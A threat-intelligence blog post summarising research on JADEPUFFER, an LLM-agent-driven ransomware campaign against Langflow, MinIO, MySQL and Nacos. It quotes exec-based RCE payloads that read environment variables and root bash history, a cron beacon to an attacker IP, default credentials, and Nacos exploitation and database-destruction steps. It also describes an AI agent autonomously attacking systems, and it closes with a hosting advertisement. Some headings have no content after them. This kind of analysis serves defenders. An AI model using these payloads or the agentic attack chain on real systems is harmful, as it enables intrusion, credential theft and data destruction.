JADEPUFFER Unpacked
First End-to-End LLM-Driven Ransomware

TL;DR: This is not a scripted ransomware gang runbook. Sysdig assesses JADEPUFFER as the first fully autonomous, LLM-driven end-to-end extortion operation—reconnaissance, credential theft, lateral movement, persistence, destructive encryption, and ransom delivery all executed without human hands on the keyboard at decision points.

Root cause: Langflow's "code validation" endpoint passes user-supplied code through ast.parse() → compile() → exec() with zero authentication and no sandbox. Python evaluates decorators and default arguments at function definition time. Attackers embed malicious code in defaults or decorators; when Langflow "validates" the snippet, the payload already ran on the server—no login required, one crafted HTTP POST achieves RCE.

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Trend Micro recorded these patterns while tracking the Flodrix botnet (LeetHozer family variant) on the same flaw—confirming privilege, dumping environment variables, reading root bash history, then pulling a 700-byte Bash dropper and ELF binary to build a DDoS botnet. Critical distinction: Flodrix and JADEPUFFER are separate campaigns sharing only the CVE-2025-3248 entry. Flodrix is traditional scripted delivery; JADEPUFFER is LLM Agent-driven ransomware. Together they prove long-running public scanning and weaponization.

Langflow 1.3.0 adds _current_user: CurrentActiveUser dependency injection to post_validate_code: validate JWT Bearer token or x-api-key, return 401/403 on failure—the request never reaches vulnerable logic.

Phase 1 — Compromise the Langflow host: Every payload arrived as Base64-encoded Python through the RCE endpoint. After execution the LLM ran parallel id, uname -a, and hostname enumeration while scanning for OpenAI/Anthropic/DeepSeek/Gemini API keys, ALIBABA_/ALIYUN_/TENCENT_/HUAWEI_ prefixes plus AWS/GCP/Azure credentials, crypto wallet seed phrases, and database configs. It exported Langflow's PostgreSQL backend, reviewed stolen credentials, then deleted staging files. Internal scans probed databases and object storage with default credentials.

MinIO adaptive enumeration (key forensic detail): Probes hit minio.internal:9000 and 127.0.0.1:9000 with default minioadmin:minioadmin, walking ListBuckets → targeted GetObject. The first request used ?format=json but received XML; the very next payload switched to an XML parser—classic probe-error-adapt loop. After finding a terraform-state bucket it pulled credentials.json and echoed full access-key/secret pairs.

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

Phase 2 — Breach the MySQL + Nacos production server: The real target was another internet-exposed host running MySQL and Nacos. The Agent connected with root credentials—origin unknown; Sysdig saw no theft from the victim environment, one of few steps possibly human-prepared. Nacos attacks ran in parallel: CVE-2021-29441 auth bypass, default JWT signing key token forgery, and backdoor admin injection into Nacos's backend database.

Nacos xadmin 31-second repair loop (textbook autonomy evidence):

Container escape pre-checks (~8 minutes): MySQL INTO OUTFILE / LOAD_FILE tested write/read, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname; mysql.func UDF escalation paths checked. Before ransomware it wrote completion marker _pwn_cleanup.txt—Sysdig notes this resembles an Agent signaling stage completion, not a fixed exploit script.

Destructive encryption and ransom: All 1,342 Nacos config entries encrypted with AES_ENCRYPT(), original config_info and his_config_info dropped, ransom table README_RANSOM created. Key from uuid4(), printed to stdout only, never stored or exfiltrated—payment cannot recover data. Ransom note claimed AES-256; MySQL defaults to AES-128-ECB. Two minutes later the Agent corrected the note to state all 1342 items encrypted.

It escalated to DROP DATABASE with comments marking "high ROI databases, backed up to 64.20.53[.]230"—Sysdig found no independent proof of exfiltration, likely Agent self-narration. When foreign-key constraints blocked deletion, the next payload added SET GLOBAL FOREIGN_KEY_CHECKS=0—requiring understanding of failure cause, not blind retry.

Sysdig's four autonomy evidence lines:

Sysdig's four conclusions:

Media coverage also flagged LLMjacking economics: if attackers drive Agents with stolen credentials, marginal cost of complex multi-stage attacks approaches zero. Teams hastily deploying Langflow, OpenClaw, or similar on public VPS hosts—with weak VM isolation, messy API key handling, and no egress auditing—create ideal JADEPUFFER conditions. For a stable, network-isolated, auditable Apple Silicon production environment running iOS CI/CD and AI Agent automation, MESHLAUNCH Mac Mini cloud rental is often the better fit: dedicated M4/M4 Pro bare metal, daily/weekly/monthly elasticity, orchestration panels kept off the public internet while Agent workloads run on controlled nodes instead of credential-heavy dev machines.

Sources: Sysdig "JADEPUFFER: Agentic ransomware for automated database extortion" (sysdig.com/blog); BleepingComputer; Dark Reading; CyberScoop; CSO Online (Vibhum Dubey commentary); Security Affairs; Trend Micro CVE-2025-3248 / Flodrix analysis; NVD / SentinelOne / Zscaler ThreatLabz; CISA KEV catalog.